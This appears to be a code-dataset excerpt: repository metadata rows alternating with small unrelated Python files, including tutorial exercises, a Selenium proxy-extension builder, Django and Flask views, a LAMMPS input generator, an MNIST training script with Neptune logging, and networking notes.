| 272,381,728
| 3
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,125
|
py
|
'''
FAÇA UM MINI-SISTEMA QUE UTILIZE O INTERECTIVE HELP DO PYTHON. O USUÁRIO VAI DIGITAR O COMANDO E O MANUAL VAI APARECER.
QUANDO O USUÁRIO DIGITAR A PALAVRA 'FIM', O PROGRAMA SE ENCERRARÁ.
OBS.: USE CORES.
'''
from time import sleep
c = (
'\033[m', # 0- sem cor
'\033[0;30;41m', # 1- cor vermelha
'\033[0;30;42m', # 2- cor verde
'\033[0;30;43m', # 3- cor amarela
'\033[0;30;44m', # 4- cor azul
'\033[0;30;45m', # 5- cor roxa
'\033[7;30m' # 6- branca
);
def ajuda(com):
titulo(f'Acessando o manual do comando \'{com}\'', 4)
print(c[6], end='')
help(comando)
print(c[0], end='')
sleep(2)
def titulo(msg, cor=0):
tam = len(msg) + 4
print(c[cor], end='')
print('~' * tam)
print(f' {msg}')
print('~' * tam)
print(c[0], end='')
sleep(1)
# PROGRAMA PRINCIPAL
comando = ''
while True:
titulo('SISTEMA DE AJUDA PyHELP', 2)
comando = str(input('Função ou Biblioteca > '))
if comando.upper() == 'FIM':
break
else:
ajuda(comando)
print('ATÉ LOGO!', 1)
|
[
"fredlgprime@gmail.com"
] |
fredlgprime@gmail.com
|
7a18d7edc350a9159863008804955748ffbeec6f
|
e262e64415335060868e9f7f73ab8701e3be2f7b
|
/.history/Test002/数据类型_20201205162718.py
|
6bec763ca9a2bf6df3696d9f6db0124f17054d85
|
[] |
no_license
|
Allison001/developer_test
|
6e211f1e2bd4287ee26fd2b33baf1c6a8d80fc63
|
b8e04b4b248b0c10a35e93128a5323165990052c
|
refs/heads/master
| 2023-06-18T08:46:40.202383
| 2021-07-23T03:31:54
| 2021-07-23T03:31:54
| 322,807,303
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 208
|
py
|
fruits = ['orange', 'apple', 'pear', 'banana', 'kiwi', 'apple', 'banana']
# print(fruits.count("apple"))
# a = fruits.index("banana",4)
# print(a)
# fruits.reverse()
# print(fruits)
fruits.append("daka")
|
[
"zhangyingxbba@gmail.com"
] |
zhangyingxbba@gmail.com
|
2fd4937da743fc000cbedc14f31385020e365cac
|
c264153f9188d3af187905d846fa20296a0af85d
|
/Python/Python3网络爬虫开发实战/《Python3网络爬虫开发实战》随书源代码/proxy/selenium_chrome_auth.py
|
f9b9e55510c5325125459414bee6a67c7eb3fbed
|
[] |
no_license
|
IS-OSCAR-YU/ebooks
|
5cd3c1089a221759793524df647e231a582b19ba
|
b125204c4fe69b9ca9ff774c7bc166d3cb2a875b
|
refs/heads/master
| 2023-05-23T02:46:58.718636
| 2021-06-16T12:15:13
| 2021-06-16T12:15:13
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,653
|
py
|
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import zipfile
ip = '127.0.0.1'
port = 9743
username = 'foo'
password = 'bar'
manifest_json = """
{
"version": "1.0.0",
"manifest_version": 2,
"name": "Chrome Proxy",
"permissions": [
"proxy",
"tabs",
"unlimitedStorage",
"storage",
"<all_urls>",
"webRequest",
"webRequestBlocking"
],
"background": {
"scripts": ["background.js"]
}
}
"""
background_js = """
var config = {
mode: "fixed_servers",
rules: {
singleProxy: {
scheme: "http",
host: "%(ip)s",
port: %(port)s
}
}
}
chrome.proxy.settings.set({value: config, scope: "regular"}, function() {});
function callbackFn(details) {
return {
authCredentials: {
username: "%(username)s",
password: "%(password)s"
}
}
}
chrome.webRequest.onAuthRequired.addListener(
callbackFn,
{urls: ["<all_urls>"]},
['blocking']
)
""" % {'ip': ip, 'port': port, 'username': username, 'password': password}
plugin_file = 'proxy_auth_plugin.zip'
with zipfile.ZipFile(plugin_file, 'w') as zp:
zp.writestr("manifest.json", manifest_json)
zp.writestr("background.js", background_js)
chrome_options = Options()
chrome_options.add_argument("--start-maximized")
chrome_options.add_extension(plugin_file)
browser = webdriver.Chrome(chrome_options=chrome_options)
browser.get('http://httpbin.org/get')
|
[
"jiangzhangha@163.com"
] |
jiangzhangha@163.com
|
221f6766e94a926edbc76bf1e3da59c333ccd8f6
|
42631b33be63821744ec85caf6ef49a6b1d189b0
|
/VSRTorch/Models/video/__init__.py
|
f1c5cfea0869dbccaa6f876c2c5d088f6f37712f
|
[
"MIT"
] |
permissive
|
AliceMegatron/VideoSuperResolution
|
c70e822764b29a01f3a7c035cfc10e3b31b9f6f4
|
bfcf237ee7e412b688c7f5e094585bbaecffc1d0
|
refs/heads/master
| 2020-05-29T15:25:13.840222
| 2019-05-16T13:00:43
| 2019-05-16T13:00:43
| 189,219,950
| 1
| 0
|
MIT
| 2019-05-29T12:21:53
| 2019-05-29T12:21:52
| null |
UTF-8
|
Python
| false
| false
| 240
|
py
|
# Copyright (c): Wenyi Tang 2017-2019.
# Author: Wenyi Tang
# Email: wenyi.tang@intel.com
# Update Date: 2019/4/3 下午5:10
import logging
_logger = logging.getLogger("VSR.VIDEO")
_logger.info("@LoSealL. Video related ops, nets...")
|
[
"twytwy12345@live.com"
] |
twytwy12345@live.com
|
c3016ff7a972f62e2906adc7b0164ee77a5a2a1c
|
ebfac951b49ba380d4b88e0c6308aea326597381
|
/chatrender/views/chat_types.py
|
7b37509617634b9ce6f0f47cc6e770b11a026be2
|
[
"MIT"
] |
permissive
|
The-Politico/django-politico-slackchat-renderer
|
2e4175359a4df004526722a190040cef767837fd
|
adb3ed2ba5039a97ee7b021d39aa40cab11e5661
|
refs/heads/master
| 2022-12-10T10:57:51.796473
| 2018-05-22T15:37:57
| 2018-05-22T15:37:57
| 120,328,521
| 2
| 0
|
MIT
| 2022-12-08T02:09:33
| 2018-02-05T16:10:25
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 431
|
py
|
import requests
from chatrender.conf import settings
from django.contrib.admin.views.decorators import staff_member_required
from django.shortcuts import render
@staff_member_required
def chat_types(request):
response = requests.get(settings.SLACKCHAT_CHATTYPE_ENDPOINT)
context = response.json()
return render(
request,
'chatrender/chattype_list.html',
context={"chat_types": context}
)
|
[
"jmcclure@politico.com"
] |
jmcclure@politico.com
|
9d48aa9c700b4a07e4a8f8bcbda6c8fb2120b598
|
bad08ce4b707f8d479a6f9d6562f90d397042df7
|
/Python/python-socket-网络协议.py
|
eb95bcb6957946195c1044ca5c82f8d396114488
|
[] |
no_license
|
lengyue1024/notes
|
93bf4ec614cbde69341bc7e4decad169a608ff39
|
549358063da05057654811a352ae408e48498f25
|
refs/heads/master
| 2020-04-29T07:14:45.482919
| 2019-03-16T07:51:26
| 2019-03-16T07:51:26
| 175,945,339
| 2
| 0
| null | 2019-03-16T08:19:53
| 2019-03-16T08:19:52
| null |
GB18030
|
Python
| false
| false
| 2,273
|
py
|
----------------------------
网络协议入门 |
----------------------------
----------------------------
网络-物理层和链路层 |
----------------------------
* 以太网协议(ethernet)
* 一组电信号组成一个数据包,叫做 - 帧
* 每一帧分为:报头(head)和数据(data)两部分
———————————————————————————————
|head| data |
———————————————————————————————
* head(固定18个字节)
* 发送者/源地址 :6个字节
* 接收者/目标地址 :6个字节
* 数据类型 :6个字节
* data(最短64字节,最长1500字节)
* 数据包的具体内容
* head + data 最大长度就是 1518字节 (1500 +18),超过长度,就分片发送
* mac地址
* head 中包含的源地址和目标地址的由来.
* ethernet 规定,接入internet的设备,都必须要具备网卡,发送端和接收端的地址,就是指网卡地址,也就是mac地址
* 每块网卡出厂时,都被烧录了世界上唯一的mac地址,长度为 48 位 2进制,通常由 12 位 16进制 表示
00:16:3e:16:0b:5e
* 前面6位是厂商编号
* 后面6位是流水号
* 广播
* 有了mac地址,同一个网络内的两台主机就可以通信了(一台主机通过arp协议获取另一台主机的mac地址)
* ethernet 采用最原始的方式 - 广播,方式进行通信,通俗点.计算机通信基本靠吼
IEEE802.1Q
———————————————————————————————————————————————————————————————————————————
|目标mac地址 |发送源mac地址 |TDIP |TCI |类型 |数据部分 |CRC |
———————————————————————————————————————————————————————————————————————————
目标mac地址 :6字节
发送源mac地址 :6字节
TDIP :0x8100
TCI :内含12个bit的vlan标识
类型 :2字节
数据部分 :46 - 1500 字节
CRC :4字节,经过重新计算
|
[
"747692844@qq.com"
] |
747692844@qq.com
|
1f459741a34f6b06e0c9856c6a59f86fee6acd63
|
a3cdfaf2d4d72f4d1c8bd2a9d3e8ce1f6d0316ca
|
/Research Files/10x10x10_moving/10x10x10movinglammpsscriptgenerator.py
|
e24983c5d7ba1cc8fa3588b9ef5309dd69d9177a
|
[] |
no_license
|
webclinic017/Personal-Projects
|
d61e3f5ad1e1c12c611ae088fa64050dc2f4693b
|
4e730e350e5698bb40bbdb1526596c6a8a3c5596
|
refs/heads/master
| 2023-06-10T23:00:50.948934
| 2021-07-03T00:46:19
| 2021-07-03T00:46:19
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,014
|
py
|
#!/usr/bin/env python
if __name__ == '__main__':
temperature = 50
for i in range(1,21):
temp = int(temperature) * i
if temp == 1000:
temp_string = "99_1000"
else:
temp_string = str(temp)
f = open("10x10x10_{}k_moving_py.lmp".format(temp_string), "w+")
f.write("# bcc iron in a 3d periodic box\n\n")
f.write("clear\n")
f.write("units metal\n")
f.write("atom_style spin\n\n")
f.write("dimension 3\n")
f.write("boundary p p p\n\n")
f.write("# necessary for the serial algorithm (sametag)\n")
f.write("atom_modify map array \n\n")
f.write("lattice bcc 2.8665\n")
f.write("region box block 0.0 10.0 0.0 10.0 0.0 10.0\n")
f.write("create_box 1 box\n")
f.write("create_atoms 1 box\n\n")
f.write("# setting mass, mag. moments, and interactions for bcc iron\n\n")
f.write("mass 1 55.845\n\n")
f.write("# set group all spin/random 31 2.2\n")
f.write("set group all spin 2.2 0.0 0.0 1.0\n")
f.write("pair_style hybrid/overlay eam/alloy spin/exchange 3.5\n")
f.write("pair_coeff * * eam/alloy Fe_Mishin2006.eam.alloy Fe\n")
f.write("pair_coeff * * spin/exchange exchange 3.4 0.02726 0.2171 1.841\n\n")
f.write("neighbor 0.1 bin\n")
f.write("neigh_modify every 10 check yes delay 20\n\n")
f.write("fix 1 all precession/spin zeeman 0.0 0.0 0.0 1.0\n")
f.write("fix_modify 1 energy yes\n")
f.write("fix 2 all langevin/spin {}.0 0.01 21\n\n".format(int(temp)))
f.write("fix 3 all nve/spin lattice moving\n")
f.write("timestep 0.0001\n\n")
f.write("# compute and output options\n\n")
f.write("compute out_mag all spin\n")
f.write("compute out_pe all pe\n")
f.write("compute out_ke all ke\n")
f.write("compute out_temp all temp\n\n")
f.write("variable magz equal c_out_mag[3]\n")
f.write("variable magnorm equal c_out_mag[4]\n")
f.write("variable emag equal c_out_mag[5]\n")
f.write("variable tmag equal c_out_mag[6]\n\n")
f.write("thermo_style custom step time v_magnorm v_tmag temp v_emag ke pe press etotal\n")
f.write("thermo 5000\n\n")
f.write("compute outsp all property/atom spx spy spz sp fmx fmy fmz\n")
f.write("dump 1 all custom 100 dump_iron.lammpstrj type x y z c_outsp[1] c_outsp[2] c_outsp[3]\n\n")
f.write("run 100000\n")
f.write("# run 2\n\n")
f.write("unfix 3\n")
f.write("fix 3 all nve/spin lattice moving\n")
f.write("velocity all create {} 4928459 rot yes dist gaussian\n\n".format(int(temp)))
f.write("run 100000")
f.close()
|
[
"noreply@github.com"
] |
webclinic017.noreply@github.com
|
6f97e11be404d475c96c2f5c4625ac4c0a5f12cb
|
bfe6c95fa8a2aae3c3998bd59555583fed72900a
|
/lengthOfLIS.py
|
0416711c4a259c5b75a686e99c23b0c224139c4f
|
[] |
no_license
|
zzz136454872/leetcode
|
f9534016388a1ba010599f4771c08a55748694b2
|
b5ea6c21bff317884bdb3d7e873aa159b8c30215
|
refs/heads/master
| 2023-09-01T17:26:57.624117
| 2023-08-29T03:18:56
| 2023-08-29T03:18:56
| 240,464,565
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 991
|
py
|
# one solution
# class Solution:
# def lengthOfLIS(self, nums):
# log=[0 for i in range(len(nums))]
# for i in range(len(nums)):
# m=0
# for j in range(i):
# if nums[j]<nums[i]:
# m=max(m,log[j])
# log[i]=m+1
# return max(log)
#
# another solution
class Solution:
def lengthOfLIS(self, nums):
if len(nums) == 0:
return 0
log = []
for num in nums:
if len(log) == 0 or num > log[-1]:
log.append(num)
continue
start = 0
end = len(log) - 1
while start <= end:
mid = (start + end) // 2
if log[mid] >= num:
end = mid - 1
else:
start = mid + 1
log[start] = num
return len(log)
sl = Solution()
nums = [10, 9, 2, 5, 3, 7, 101, 18]
print(sl.lengthOfLIS(nums))
|
[
"zzz136454872@163.com"
] |
zzz136454872@163.com
|
82d5072c95d430143fba75124b748cf8add70456
|
d342898f0a632b28d5c6f594208300c546cb51e3
|
/Helper.py
|
ee73a7910b6b3f420a71ca6c2bdb1f2d9ec9298c
|
[] |
no_license
|
DragonKiller952/ST-Groep-8
|
91ce869b1905504e65d84acf104fc68156d0ef91
|
00c19288b2fb5a6110fba6a2eea7b03650d0e534
|
refs/heads/main
| 2023-01-31T22:08:12.134684
| 2020-12-17T09:05:02
| 2020-12-17T09:05:02
| 318,191,516
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 612
|
py
|
# Chosing blue
def standard_color(*args):
return 'blue'
# Chosing random without duplicates
def unique_random(self, choices, used):
choice = self.random.choice(choices)
while choice in used:
choice = self.random.choice(choices)
used.append(choice)
return choice
# Chosing color based on agent id
def id_color(self, choices, used):
return choices[self.agentId]
# Chosing position based on agent id
def id_coord(self, choices, used):
coords = [(12, 75), (30, 60), (40, 80), (40, 90), (60, 80), (50, 35), (60, 35), (65, 15), (75, 40), (90, 45)]
return coords[self.agentId]
|
[
"abou.w@hotmail.com"
] |
abou.w@hotmail.com
|
09fb11f511d0b05365e34eecb467462c7c0d96a0
|
de24f83a5e3768a2638ebcf13cbe717e75740168
|
/moodledata/vpl_data/97/usersdata/228/56191/submittedfiles/lecker.py
|
8478e84811202758aba6f53520c3def648a83ece
|
[] |
no_license
|
rafaelperazzo/programacao-web
|
95643423a35c44613b0f64bed05bd34780fe2436
|
170dd5440afb9ee68a973f3de13a99aa4c735d79
|
refs/heads/master
| 2021-01-12T14:06:25.773146
| 2017-12-22T16:05:45
| 2017-12-22T16:05:45
| 69,566,344
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 838
|
py
|
# -*- coding: utf-8 -*-
from __future__ import division
n=int(input('digite o número de elementos:'))
lista1=[]
lista2=[]
for i in range (0,n,1):
termo1=int(input('digite o termo:'))
lista1.append(termo1)
for i in range (0,n,1):
termo2=int(input('digite o termo:'))
lista2.append(termo2)
def leker(a):
cont=0
if lista[0]>lista[1]:
cont=cont+1
elif lista[n]>lista[n-1]:
cont=cont+1
else:
for i in range(lista[1],len(lista),1):
if lista[i-1]<lista[i]<lista[i+1]:
cont=cont+1
if cont==1:
return True
else:
return False
if leker(lista1):
print('S')
elif leker(lista1)==False:
print('N')
if leker(lista2):
print('S')
elif leker(lista2)==False:
print('N')
|
[
"rafael.mota@ufca.edu.br"
] |
rafael.mota@ufca.edu.br
|
440db3f7231af9543565979f36d3760abc278062
|
5f1afd8240ce286b0a78f61b7faa3a53e4d170e1
|
/examples/contrib/mnist/mnist_with_neptune_logger.py
|
2f7c7d2bc0784994e1fff9e02cd16acff0e25d91
|
[
"BSD-3-Clause"
] |
permissive
|
dnola/ignite
|
b71e5fe7c57fe157c09044d534321b070ec4c844
|
da86f6d83268cba0275a18be506a69f142157e97
|
refs/heads/master
| 2020-12-29T08:47:24.519519
| 2020-02-07T14:30:29
| 2020-02-07T14:30:29
| 238,542,050
| 0
| 0
|
BSD-3-Clause
| 2020-02-05T20:29:07
| 2020-02-05T20:29:06
| null |
UTF-8
|
Python
| false
| false
| 6,778
|
py
|
"""
MNIST example with training and validation monitoring using Neptune.
Requirements:
Neptune: `pip install neptune-client`
Usage:
Run the example:
```bash
python mnist_with_neptune_logger.py
```
Go to https://neptune.ai and explore your experiment.
Note:
You can see an example experiment here:
https://ui.neptune.ai/o/neptune-ai/org/pytorch-ignite-integration/e/PYTOR-26/charts
"""
import sys
from argparse import ArgumentParser
import logging
import torch
from torch.utils.data import DataLoader
from torch import nn
import torch.nn.functional as F
from torch.optim import SGD
from torchvision.datasets import MNIST
from torchvision.transforms import Compose, ToTensor, Normalize
from ignite.engine import Events, create_supervised_trainer, create_supervised_evaluator
from ignite.metrics import Accuracy, Loss
from ignite.contrib.handlers.neptune_logger import *
LOG_INTERVAL = 10
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.conv1 = nn.Conv2d(1, 10, kernel_size=5)
self.conv2 = nn.Conv2d(10, 20, kernel_size=5)
self.conv2_drop = nn.Dropout2d()
self.fc1 = nn.Linear(320, 50)
self.fc2 = nn.Linear(50, 10)
def forward(self, x):
x = F.relu(F.max_pool2d(self.conv1(x), 2))
x = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2))
x = x.view(-1, 320)
x = F.relu(self.fc1(x))
x = F.dropout(x, training=self.training)
x = self.fc2(x)
return F.log_softmax(x, dim=-1)
def get_data_loaders(train_batch_size, val_batch_size):
data_transform = Compose([ToTensor(), Normalize((0.1307,), (0.3081,))])
train_loader = DataLoader(MNIST(download=True, root=".", transform=data_transform, train=True),
batch_size=train_batch_size, shuffle=True)
val_loader = DataLoader(MNIST(download=False, root=".", transform=data_transform, train=False),
batch_size=val_batch_size, shuffle=False)
return train_loader, val_loader
def run(train_batch_size, val_batch_size, epochs, lr, momentum, neptune_project):
train_loader, val_loader = get_data_loaders(train_batch_size, val_batch_size)
model = Net()
device = 'cpu'
if torch.cuda.is_available():
device = 'cuda'
optimizer = SGD(model.parameters(), lr=lr, momentum=momentum)
criterion = nn.CrossEntropyLoss()
trainer = create_supervised_trainer(model, optimizer, criterion, device=device)
if sys.version_info > (3,):
from ignite.contrib.metrics.gpu_info import GpuInfo
try:
GpuInfo().attach(trainer)
except RuntimeError:
print("INFO: By default, in this example it is possible to log GPU information (used memory, utilization). "
"As there is no pynvml python package installed, GPU information won't be logged. Otherwise, please "
"install it : `pip install pynvml`")
metrics = {
'accuracy': Accuracy(),
'loss': Loss(criterion)
}
train_evaluator = create_supervised_evaluator(model, metrics=metrics, device=device)
validation_evaluator = create_supervised_evaluator(model, metrics=metrics, device=device)
@trainer.on(Events.EPOCH_COMPLETED)
def compute_metrics(engine):
train_evaluator.run(train_loader)
validation_evaluator.run(val_loader)
npt_logger = NeptuneLogger(api_token=None,
project_name=neptune_project,
name='ignite-mnist-example',
params={'train_batch_size': train_batch_size,
'val_batch_size': val_batch_size,
'epochs': epochs,
'lr': lr,
'momentum': momentum})
npt_logger.attach(trainer,
log_handler=OutputHandler(tag="training",
output_transform=lambda loss: {'batchloss': loss},
metric_names='all'),
event_name=Events.ITERATION_COMPLETED(every=100))
npt_logger.attach(train_evaluator,
log_handler=OutputHandler(tag="training",
metric_names=["loss", "accuracy"],
another_engine=trainer),
event_name=Events.EPOCH_COMPLETED)
npt_logger.attach(validation_evaluator,
log_handler=OutputHandler(tag="validation",
metric_names=["loss", "accuracy"],
another_engine=trainer),
event_name=Events.EPOCH_COMPLETED)
npt_logger.attach(trainer,
log_handler=OptimizerParamsHandler(optimizer),
event_name=Events.ITERATION_COMPLETED(every=100))
npt_logger.attach(trainer,
log_handler=WeightsScalarHandler(model),
event_name=Events.ITERATION_COMPLETED(every=100))
npt_logger.attach(trainer,
log_handler=GradsScalarHandler(model),
event_name=Events.ITERATION_COMPLETED(every=100))
# kick everything off
trainer.run(train_loader, max_epochs=epochs)
npt_logger.close()
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument('--batch_size', type=int, default=64,
help='input batch size for training (default: 64)')
parser.add_argument('--val_batch_size', type=int, default=1000,
help='input batch size for validation (default: 1000)')
parser.add_argument('--epochs', type=int, default=10,
help='number of epochs to train (default: 10)')
parser.add_argument('--lr', type=float, default=0.01,
help='learning rate (default: 0.01)')
parser.add_argument('--momentum', type=float, default=0.5,
help='SGD momentum (default: 0.5)')
parser.add_argument("--neptune_project", type=str,
help="your project in neptune.ai")
args = parser.parse_args()
# Setup engine logger
logger = logging.getLogger("ignite.engine.engine.Engine")
handler = logging.StreamHandler()
formatter = logging.Formatter("%(asctime)s %(name)-12s %(levelname)-8s %(message)s")
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.INFO)
run(args.batch_size, args.val_batch_size, args.epochs, args.lr, args.momentum, args.neptune_project)
|
[
"vfdev.5@gmail.com"
] |
vfdev.5@gmail.com
|
605f934856fa73abaca59a8d4b985a30749fa454
|
f47ac8d59fe1c0f807d699fe5b5991ed3662bfdb
|
/binary24.py
|
9cad221c86da71526bc3fda5faefd88b49ae47c7
|
[] |
no_license
|
YanglanWang/jianzhi_offer
|
5561d8a29881d8504b23446353e9f969c01ed0c5
|
1c568f399ed6ac1017671c40c765e609c1b6d178
|
refs/heads/master
| 2020-06-16T10:41:44.979558
| 2019-08-03T09:07:37
| 2019-08-03T09:07:37
| 195,543,754
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,224
|
py
|
import create_tree
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
# def FindPath(self, root, expectNumber):
# # write code here
# start=root
# if start==None:
# return []
# if start.left==None and start.right==None and start.val==expectNumber:
# return [[start.val]]
# leftpath=self.FindPath(start.left,expectNumber-start.val)
# rightpath=self.FindPath(start.right,expectNumber-start.val)
# for i in leftpath+rightpath:
# i=i.insert(0,start.val)
# return leftpath+rightpath
def FindPath(self, root, expectNumber):
if root.left==None and root.right==None:
if root.val==expectNumber:
return [[root.val]]
else:
return []
if root.left!=None:
a=self.FindPath(root.left,expectNumber-root.val)
if root.right!=None:
b=self.FindPath(root.right,expectNumber-root.val)
for i in a+b:
i.insert(0,root.val)
return a+b
a=Solution()
root=create_tree.fromList([10,5,12,4,7])
b=a.FindPath(root,22)
print(b)
|
[
"yanglan-17@mails.tsinghua.edu.cn"
] |
yanglan-17@mails.tsinghua.edu.cn
|
4ad984ec5a966cb62eaeb618dfbc4aafb9fcd4f7
|
7100c3c8012dcf2bc6427bf33c55662bc61924f2
|
/api/v1/views/cities.py
|
ecabd72acf87d8cdd29c4b5dfb6bb78c183ae1ca
|
[
"LicenseRef-scancode-public-domain"
] |
permissive
|
OscarDRT/AirBnB_clone_v3
|
c3ffa7b7ffb5182143b0f37c8ef7d1342cdffa0a
|
9f015b7f1aa1b9c7f7f0d85fd7f5dc97a6679e9c
|
refs/heads/master
| 2022-05-27T07:35:53.627606
| 2020-04-29T21:55:33
| 2020-04-29T21:55:33
| 259,408,927
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,956
|
py
|
#!/usr/bin/python3
"""Documentation"""
from flask import Flask, jsonify, abort, make_response, request
from api.v1.views import app_views
from models.state import *
from models.city import *
from models import storage
@app_views.route('/states/<state_id>/cities', methods=['GET', 'POST'],
strict_slashes=False)
def cities_li(state_id):
"""cities"""
state = storage.get(State, state_id)
if state is None:
abort(404)
if request.method == 'GET':
cities_list = []
for key, value in storage.all('City').items():
if value.state_id == str(state_id):
cities_list.append(value.to_dict())
return jsonify(cities_list)
if request.method == 'POST':
data = request.get_json()
if data is None:
return (jsonify({"error": "Not a JSON"}), 400)
if 'name' in data:
data['state_id'] = state_id
city = City(**data)
city.save()
data2 = storage.get(City, city.id).to_dict()
return make_response(jsonify(data2), 201)
return (jsonify({"error": "Missing name"}), 400)
@app_views.route('/cities/<city_id>', methods=['GET', 'DELETE', 'PUT'],
strict_slashes=False)
def my_city(city_id):
"""city"""
city = storage.get(City, city_id)
if city is None:
abort(404)
if request.method == 'GET':
return jsonify(city.to_dict())
if request.method == 'DELETE':
storage.delete(city)
storage.save()
return jsonify({}), 200
if request.method == 'PUT':
data = request.get_json()
if data is None:
return (jsonify({"error": "Not a JSON"}), 400)
ignorekey = ['id', 'created_at', 'updated_at']
for key, value in data.items():
if key not in ignorekey:
setattr(city, key, value)
city.save()
return jsonify(city.to_dict()), 200
|
[
"oscarnetworkingpro@gmail.com"
] |
oscarnetworkingpro@gmail.com
|
707533be29f322011c761603977cdb06d18f4ac2
|
972aca82afd04ec6cbb4bf7225e3dcd56fe6f3f0
|
/face_recog/recognition/views.py
|
044b04aa9c2b8708a1c1e95018615f2a28c6cf5a
|
[] |
no_license
|
sbhusal123/On-web-face-recognition
|
a41b05e53e691648f5c0296f6ad919e353e07221
|
5ff56aacce759656af407ac2cba03f72b2ce3de4
|
refs/heads/master
| 2022-02-25T16:12:58.746395
| 2019-09-07T06:06:37
| 2019-09-07T06:06:37
| 166,095,690
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,841
|
py
|
from django.shortcuts import render,HttpResponse
from django.core.files.storage import FileSystemStorage
import os
import shutil
from django.conf import settings
from .models import User
# Create your views here.
def index(request):
if request.method == 'POST' and request.FILES['myfile']:
try:
os.remove(os.path.join(settings.BASE_DIR, 'media/test_file/test_image.jpg'))
except:
pass
myfile = request.FILES['myfile']
myfile.name = "test_image.jpg"
fs = FileSystemStorage(location="media/test_file")
filename = fs.save(myfile.name, myfile)
uploaded_file_url = "/media/test_file/test_image.jpg"
print(uploaded_file_url)
return render(request, 'index.html',{'uploaded_file_url':uploaded_file_url})
return render(request,'index.html')
def registerUser(request):
if request.method == 'POST' and request.FILES['profile_image']:
username= request.POST["username"]
myfile = request.FILES['profile_image']
myfile.name = username+".jpeg"
User.objects.create(username=username,profile_pic = myfile)
return render(request, 'index.html')
return render(request,'index.html')
def Scan(request):
if request.method =="POST":
name_list = []
unknown_pictures = os.path.join(settings.BASE_DIR,'/media/test_file')
known_pictures = os.path.join(settings.BASE_DIR, '/media/profile_image')
command = "face_recognition ."+known_pictures+" ."+unknown_pictures+""
out = os.popen(command).read()
each_line = out.split("\n")
each_line.remove("")
for l in each_line:
name = l.split(",")[1]
name_list.append(name)
return render(request, 'index.html',{'found':name_list})
return render(request, 'index.html')
|
[
"="
] |
=
|
15632584457de864ad6c921b7228c6996d3390a5
|
ebdeaa70f6e30abab03a1589bcdd56d1339151ef
|
/day18Python多线程/day18-多线程/code1/耗时操作.py
|
4fe94df37f17e3955e313560c7b922708e178a96
|
[] |
no_license
|
gilgameshzzz/learn
|
490d8eb408d064473fdbfa3f1f854c2f163a7ef6
|
d476af77a6163ef4f273087582cbecd7f2ec15e6
|
refs/heads/master
| 2020-03-31T11:32:42.909453
| 2018-11-22T03:34:45
| 2018-11-22T03:34:45
| 152,181,143
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 795
|
py
|
"""__author__ = 余婷"""
import pygame
from random import randint
import time
"""
1.耗时操作放到主线程中的问题:
耗时操作放到主线程中,会阻塞线程
多个耗时操作都放到一个线程中执行,最终执行的时间是两个耗时操作的时间和
2.怎么解决问题?
使用多线程(创建多个线程)
"""
def rand_color():
return randint(0, 255),randint(0, 255),randint(0, 255)
def long_time():
print('耗时操作开始')
time.sleep(10)
print('耗时操作结束')
def download(file):
print('开始下载',file)
time.sleep(10)
print(file, '下载结束')
if __name__ == '__main__':
print('====')
print(time.time())
download('狄仁杰')
download('爱情公寓')
print(time.time())
print('!!!')
|
[
"619959856@qq.com"
] |
619959856@qq.com
|
64d3ee1b2b63bf47956a16eb239dd218474a9fad
|
1a55572a16c3e34c72630043af7ab3d05bafae8c
|
/Celery/celery_with_django/mysite/core/tasks.py
|
877830411a479b583d31addcbbe10ff041244a19
|
[] |
no_license
|
Wald-K/Technologies
|
1e2720a05083ba24da3d1761088d0cab4a6e9658
|
8cc2b27fbe5e6c860342fd46b251680899d111bb
|
refs/heads/master
| 2023-01-12T14:11:29.204133
| 2021-01-25T21:54:45
| 2021-01-25T21:54:45
| 196,719,173
| 0
| 0
| null | 2023-01-07T20:03:47
| 2019-07-13T12:28:18
|
Python
|
UTF-8
|
Python
| false
| false
| 581
|
py
|
import string
import time
from django.contrib.auth.models import User
from django.utils.crypto import get_random_string
from celery import shared_task
@shared_task
def create_random_user_accounts(total):
for i in range(total):
username = 'user_{}'.format(get_random_string(10, string.ascii_letters))
email = '{}@example.com'.format(username)
password = get_random_string(50)
User.objects.create_user(username=username, email=email, password=password)
time.sleep(10)
return '{} random users created with success'.format(total)
|
[
"1000druid@gmail.com"
] |
1000druid@gmail.com
|
0e8291c913d42d6d47aa129d4403133d044afa4f
|
ac216a2cc36f91625e440247986ead2cd8cce350
|
/go/src/infra/tools/vpython/testdata/test_requests_get.py
|
f36999bde734744de8ae72fa434816c8ed2cfa45
|
[
"BSD-3-Clause"
] |
permissive
|
xinghun61/infra
|
b77cdc566d9a63c5d97f9e30e8d589982b1678ab
|
b5d4783f99461438ca9e6a477535617fadab6ba3
|
refs/heads/master
| 2023-01-12T21:36:49.360274
| 2019-10-01T18:09:22
| 2019-10-01T18:09:22
| 212,168,656
| 2
| 1
|
BSD-3-Clause
| 2023-01-07T10:18:03
| 2019-10-01T18:22:44
|
Python
|
UTF-8
|
Python
| false
| false
| 544
|
py
|
# Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import cryptography
import requests
SITE = 'https://www.google.com'
print 'Using requests version:', requests.__version__
print 'Using cryptography version:', cryptography.__version__
print 'Testing requests from:', SITE
r = requests.get(SITE)
print 'Status Code:', r.status_code
if len(r.text) == 0:
print 'Content length is zero!'
else:
print 'Content length is non-zero.'
|
[
"commit-bot@chromium.org"
] |
commit-bot@chromium.org
|
e0190ff61f2aabbb5624403696f355f6c20c9987
|
